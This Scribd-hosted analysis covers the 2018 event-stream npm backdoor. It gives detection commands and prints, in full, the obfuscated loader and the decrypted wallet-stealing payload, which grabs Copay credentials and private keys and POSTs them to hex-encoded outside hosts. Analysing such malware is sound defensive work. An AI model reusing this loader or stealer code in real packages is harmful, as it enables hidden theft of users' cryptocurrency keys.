0% found this document useful (0 votes)
78 views

NodeJS - Event-Stream Backdoor Analysis

In my opinion, this is a really interesting "story" in blockchain security and hacking world in general. Backdoor?, this words is extremely attractive, and me myself always want to learn more about how attackers in the wild hiding their backdoor or make it persistently stay in the system.

Uploaded by

loclubu
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
78 views

NodeJS - Event-Stream Backdoor Analysis

In my opinion, this is a really interesting "story" in blockchain security and hacking world in general. Backdoor?, this words is extremely attractive, and me myself always want to learn more about how attackers in the wild hiding their backdoor or make it persistently stay in the system.

Uploaded by

loclubu
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

NodeJS: Event-Stream Backdoor

Analysis
I - The story
On November 11th, 2018, at the “event-stream” repository there was a nickname
FallingSnow saying that:
“ Am I affected?:
If you are using anything crypto-currency related, then maybe. As discovered by
@maths22, the target seems to have been identified as copay related libraries. It only
executes successfully when a matching package is in use (assumed to be copay at this
point). If you are using a crypto-currency related library and if you see flatmap-
[email protected] after running npm ls event-stream flatmap-stream, you are most likely
affected. For example:
$ npm ls event-stream flatmap-stream
...
[email protected]

“ - Readmore (I recommend you to read the whole story said by him)
In my opinion, this is a really interesting "story" in blockchain security and hacking world
in general. Backdoor?, this words is extremely attractive, and me myself always want to
learn more about how attackers in the wild hiding their backdoor or make it persistently
stay in the system.
If backdoor is a thing in Security, then how to hide them is an Art.
Therefore, me and my coworker decided to dive right into it in order to see what the
backdoor looks like and how that guy(s) could hide them for years
II - Detection method
1. 1.
Go to your repo and run these 2 command lines:
for i in `find /home/isysadmin/app-prod -maxdepth 2 -type d|
grep node_modules`; do cd $i; pwd;npm ls|egrep "event-
stream|flatmap-stream"; done
find /home/isysadmin/app-prod | grep yarn.lock|xargs egrep
"event-stream|flatmap-stream"|grep resolved
2. 2.
If it returns the below message, it might have been installed a
vulnerable extension of event-stream
/xxx/xxx/xxx/xxx/node_modules │ │ └─┬ [email protected] │ │
├── [email protected]

III - The affected requirements.


1. 1.
2 extensions have been installed event-stream version 3.3.6 and
flatmap-stream version 0.1.2
2. 2.
console.log(process["env"]["npm_package_description"]) = 'A Secure
Bitcoin Wallet'. This is a secret key to encrypt the malicious code
III - Reversing
Cat this file by using: cat node_modules/flatmap-stream/test/data.js
["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b08223
53b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd781
8653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0
b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd5
1e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1b
dc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc3
7e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec
7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143d
ce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d309
28727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784
fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f12
79c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc0
82c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da
97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4
094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8fe
bd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232
800a9b695d824a7ada3d41e568ecaa6629","XXXXX","63727970746f","656e76","6e706d5f7
061636b6167655f6465736372697074696f6e","616573323536","63726561746544656369
70686572","5f636f6d70696c65","686578","75746638"]; - Full here
We will see an array named module.exports contains few components. Each
components has it ows purposes.
And there is a piece of codes use those afore values . Use cat index.min.js to view the
code.
var Stream = require("stream").Stream;
module.exports = function(e, n) {
var i = new Stream,
a = 0,
o = 0,
u = !1,
f = !1,
l = !1,
c = 0,
s = !1,
d = (n = n || {}).failures ? "failure" : "error",
m = {};

function w(r, e) {
var t = c + 1;
if (e === t ? (void 0 !== r && i.emit.apply(i, ["data", r]), c++,
t++) : m[e] = r, m.hasOwnProperty(t)) {
var n = m[t];
return delete m[t], w(n, t)
}
a === ++o && (f && (f = !1, i.emit("drain")), u && v())
}

function p(r, e, t) {
l || (s = !0, r && !n.failures || w(e, t), r && i.emit.apply(i,
[d, r]), s = !1)
}

function b(r, t, n) {
return e.call(null, r, function(r, e) {
n(r, e, t)
})
}
function v(r) {
if (u = !0, i.writable = !1, void 0 !== r) return w(r, a);
a == o && (i.readable = !1, i.emit("end"), i.destroy())
}
return i.writable = !0, i.readable = !0, i.write = function(r) {
if (u) throw new Error("flatmap stream is not writable");
s = !1;
try {
for (var e in r) {
a++;
var t = b(r[e], a, p);
if (f = !1 === t) break
}
return !f
} catch (r) {
if (s) throw r;
return p(r), !f
}
}, i.end = function(r) {
u || v(r)
}, i.destroy = function() {
u = l = !0, i.writable = i.readable = f = !1,
process.nextTick(function() {
i.emit("close")
})
}, i.pause = function() {
f = !0
}, i.resume = function() {
f = !1
}, i
};
! function() {
try {
var r = require,
t = process;

function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
root @inf - prod - eth7 - jp: /home/isysadmin / ibl - core - eth - insight
- api / node_modules / flatmap - stream#
This guy was using code obfuscation to blind 2 millions download-ers. So what did he
do?
In that messy code, just this function is used:
var r = require,
t = process
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
}
catch (r) {}
}()

This object: data = r(e("2e2f746573742f64617461"))


after decoded from hex to string we have:
data=r(e("/test/data"))

[e(n[3]) = t[e(“656e76”)]=evn
[e(n[4]) =
t[e(“6e706d5f7061636b6167655f6465736372697074696f6e”)]=npm_package_descrip
tion
o=t[e(n[3])][e(n[4]) ~ o=t["env"]["npm_package_description"] = “A Secure
Bitcoin Wallet”

And the rest of code after decoded is:


var decipher = require('crypto')['createDecipher']('aes256', o), decoded =
decipher.update(data[0], 'hex', 'utf8');
So decrypt decipher we have a malicious code which is able to steal user’s information
data and private key who owns btc < 100 and bch>1e3.
Malicious code:
/*@@*/ ! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----
\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs
/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeG
n9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1n
f0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2
XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfH
Pb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}

function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o,
"utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n),
i("3131312e39302e3135312e313334", e, n)
}

function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" +
n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]),
"btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3
|| (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys,
e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] &&
(delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();

You might also like